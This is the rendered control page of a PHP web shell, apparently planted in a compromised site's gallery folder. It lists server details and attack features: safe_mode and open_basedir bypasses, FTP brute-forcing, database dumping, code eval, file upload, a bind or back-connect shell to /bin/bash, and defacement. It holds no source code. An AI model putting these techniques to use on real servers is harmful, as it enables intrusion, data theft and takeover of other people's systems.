o--[ heroes1412 ]--o  08-09-2010 16:31:54  [ phpinfo ]  [ php.ini ]  [ cpu ]  [ mem ]  [ users ]  [ brute ]  [ ln -s all ]  [ tmp ]  [ deface vbb ]
  safe_mode: ON  Open_Basedir: /home/vatlieubao/:/tmp:/var/tmp:/usr/local/lib/php/  Safe_Exec_Dir: NONE  Safe_Gid: OFF  Safe_Include_Dir: NONE  Sql.safe_mode: OFF
  PHP version: 5.2.14  cURL: ON  MySQL: ON  MSSQL: OFF  PostgreSQL: OFF  Oracle: OFF
  Disable functions : exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source
  Useful: mod_include(SSI)
  Downloaders: fopen
  Free space : 798.9 GB   Total space: 916.89 GB
  Server IP: [ 115.84.178.71 ]   --   Your IP: [ 38.107.191.106 ]
uname -a : 
sysctl : 
$OSTYPE : 
Server : 
id : 
pwd : 
   Linux hue.host999.net 2.6.9-55.ELsmp #1 SMP Wed May 2 14:04:42 EDT 2007 x86_64
   -
   
   SUN-ONE
   uid=48 ( apache ) gid=48 ( apache )
   /home/vatlieubao/domains/vatlieubaooncachnhiet.com/public_html/images/gallery   ( u--------- )
Executed command: safe_dir
:: Work in safe_mode ::
Work directory 4    
:: read file from PLUGIN ::
where file in server 4    
:: Create/Delete File/Dir ::
name 4           
:: Chown/Chgrp/Chmod ::
Command 4  param1 4    param2 4      
:: Edit files ::
File for edit 4    
:: read dir from vul reg_glob ::
read dir 4    
:: read dir from vul root ::
read dir 4    
:: read file from vul curl() ::
where file in server 4    
:: read file from vul ini_restore() ::
where file in server 4    
:: Bypass php 5.2.6 ::
Cat file 4    
:: Bypass php 5.2.9 ::
Cat file 4    
:: Php Bypass ::
Read File
File : 4
View Dir
Dir : 4
:: DeZender ::
Cat file 4    
:: ionCube extension safe_mode bypass ::
Cat file 4    
:: Aliases ::
         Select alias 4        
:: Find text in files ::
Find text 4    
In dirs 4 *
Only in files 4*
:: Test bypass open_basedir with cURL functions ::
Cat file 4    
:: Eval PHP code ::

 
:: Upload files on server ::
Local file 4
Local file 4
Local file 4
Local file 4
Local file 4
    
:: Download files from server ::
file 4    
Archivation 4 without archivation zip gzip
:: FTP-bruteforce ::
FTP-server:port 4    
* use username from /etc/passwd for ftp login and password ( Users list )
Use reverse (user -> resu) login for password
:: Databases ::
Dump database table
Type 4
SQL-Server : Port 4 :
Login : Password 4 :
Db . Table 4 .
Save dump in file 4
Run SQL query
Type 4
SQL-Server : Port 4 :
Login : Password 4 :
Database 4
SQL query 4

:: Net ::
Bind port to /bin/bash
Port 4
Password for access 4
Use 4
back-connect
IP 4
Port 4
Use 4
:: safe_mode off ::
Close safe_mode with php.ini
Close security_mod with .htaccess
write ini.php file to close safe_mode with ini_restore vul
Use 4    
Use 4    
Use 4    
Generation time: 0.851 seconds